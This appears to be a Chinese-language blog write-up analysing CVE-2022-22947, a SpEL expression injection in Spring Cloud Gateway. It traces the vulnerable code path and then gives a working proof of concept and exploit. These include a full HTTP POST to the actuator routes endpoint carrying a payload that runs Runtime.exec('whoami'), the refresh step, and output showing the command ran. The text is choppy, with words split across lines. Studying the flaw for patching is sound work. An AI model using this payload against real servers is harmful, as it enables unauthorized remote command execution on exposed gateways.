CVE-2022-22947分析
[[spel inj|SPEL]] CASTING AND EVIL BEANS
Base
Source 分析
查看 v3.0.6->v3.0.7
的官方补丁 Comparing v3.0.6…v3.0.7 · spring-cloud/spring-cloud-gateway,官方在 ShortcutConfigurable#getValue
方法中将 StandardEvaluationContext
修正成了 GatewayEvaluationContext
static
Object
getValue(SpelExpressionParser parser
,
BeanFactory beanFactory
,
String entryValue
)
{
Object value
;
String rawValue
= entryValue
;
if
(rawValue
!=
null)
{
rawValue
= rawValue
.trim();
}
if
(rawValue
!=
null
&& rawValue
.startsWith("#{")
&& entryValue
.endsWith("}"))
{
// assume it's spel
StandardEvaluationContext context
=
new
StandardEvaluationContext();
context
.setBeanResolver(new
BeanFactoryResolver(beanFactory
));
Expression expression
= parser
.parseExpression(entryValue
,
new
TemplateParserContext());
value
= expression
.getValue(context
);
}
向上回溯调用路径
- org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#DEFAULT
- org.springframework.cloud.gateway.support.ShortcutConfigurable#shortcutType
- org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties
跟踪properties
值 - org.springframework.cloud.gateway.support.ConfigurationService.AbstractBuilder#properties
- org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters
- org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getFilters
- org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#convertToRoute
- org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getRoutes
至此,可以得出 gateway 在对 filters 进行转换解析时触发了 spel 注入
POC 编写
在关键位置打上断点后,运行 app 尝试进入漏洞点。翻阅下官方文档 Spring Cloud Gateway[^1] 看下如何定义一个简单的路由
spring:
cloud:
gateway:
routes:
- id: after_route
uri: https://example.org
predicates:
- name: Cookie
args:
name: mycookie
regexp: mycookievalue
debug 程序后,发现 mycookie
成功传入到了 org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue
的 entryValue
参数中
getValue
:51,
ShortcutConfigurable
(org
.springframework
.cloud
.gateway
.support
)
normalize
:94,
ShortcutConfigurable$
ShortcutType$
1
(org
.springframework
.cloud
.gateway
.support
)
normalizeProperties
:140,
ConfigurationService$
ConfigurableBuilder
(org
.springframework
.cloud
.gateway
.support
)
bind
:241,
ConfigurationService$
AbstractBuilder
(org
.springframework
.cloud
.gateway
.support
)
lookup
:216,
RouteDefinitionRouteLocator
(org
.springframework
.cloud
.gateway
.route
)
combinePredicates
:189,
RouteDefinitionRouteLocator
(org
.springframework
.cloud
.gateway
.route
)
convertToRoute
:116,
RouteDefinitionRouteLocator
(org
.springframework
.cloud
.gateway
.route
)
apply
:-1,
1605299030
(org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$
Lambda$
842)//.....
onApplicationEvent
:81,
CachingRouteLocator
(org
.springframework
.cloud
.gateway
.route
)
onApplicationEvent
:40,
CachingRouteLocator
(org
.springframework
.cloud
.gateway
.route
)//.....
main
:33,
Cve202222947Application
(person
.xu
.vulEnv
)
注入下 spel 表达式
“#{T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Runtime).getRuntime().exec(‘whoami’).getInputStream(),T(java.nio.charset.StandardCharsets).UTF_8)}”
访问 http://127.0.0.1:8083/actuator/gateway/routes/
发现成功执行了命令
EXP 编写
那如何通过远程触发呢?根据 Gateway Actuator API [^2] 文档,/gateway/routes/{id_route_to_create}
接口提供了创建路由的能力 其中 json 构造方式如文档中的
{
"id":
"first_route",
"predicates":
[{
"name":
"Path",
"args":
{"_genkey_0":"/first"}
}],
"filters":
[],
"uri":
"https://www.uri-destination.org",
"order":
0}
将其转换一下得到
{
"id":
"first_route",
"predicates":
[
{
"name":
"Cookie",
"args":
{
"_genkey_0":
"#{T(java.lang.Runtime).getRuntime().exec('id')}",
"_genkey_1":
"mycookievalue"
}
}
],
"filters":
[],
"uri":
"https://www.uri-destination.org",
"order":
0}
通过 POST 发送 exp
POST
/actuator
/gateway
/routes
/first_route
HTTP/1.1
Host
:
127.0.0.1:8083
Upgrade
-Insecure
-Requests
:
1
User
-Agent
: Mozilla
/5.0
(Windows
NT
10.0; Win64
; x64
) AppleWebKit
/537.36
(KHTML, like Gecko
) Chrome
/95.0.4638.69 Safari
/537.36
Accept
: text
/html
,application
/xhtml
+xml
,application
/xml
;q
=0.9,image
/avif
,image
/webp
,image
/apng
,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 385
{
"id": "first_route",
"predicates": [{
"name": "Cookie",
"args": {"_genkey_0":"#{T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream(),T(java.nio.charset.StandardCharsets).UTF_8)}",
"_genkey_1":"mycookievalue"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}]
后通过 /actuator/gateway/refresh
刷新路由缓存 访问 /actuator/gateway/routes/
得到命令执行的结果
[
{
"predicate":
"Paths: [/get], match trailing slash: true",
"route_id":
"path_route",
"filters":
[],
"uri":
"http://httpbin.org:80",
"order":
0
},//........
{
"predicate":
"Cookie: name=china\\xuuupro\r\n regexp=mycookievalue",
"route_id":
"first_route",
"filters":
[],
"uri":
"https://www.uri-destination.org",
"order":
0
}]
Reference
- CVE-2022-22947: SpEL Casting and Evil Beans – Wya.pl
Footnote
[^1]: Spring Cloud Gateway
[^2]: 11. Actuator API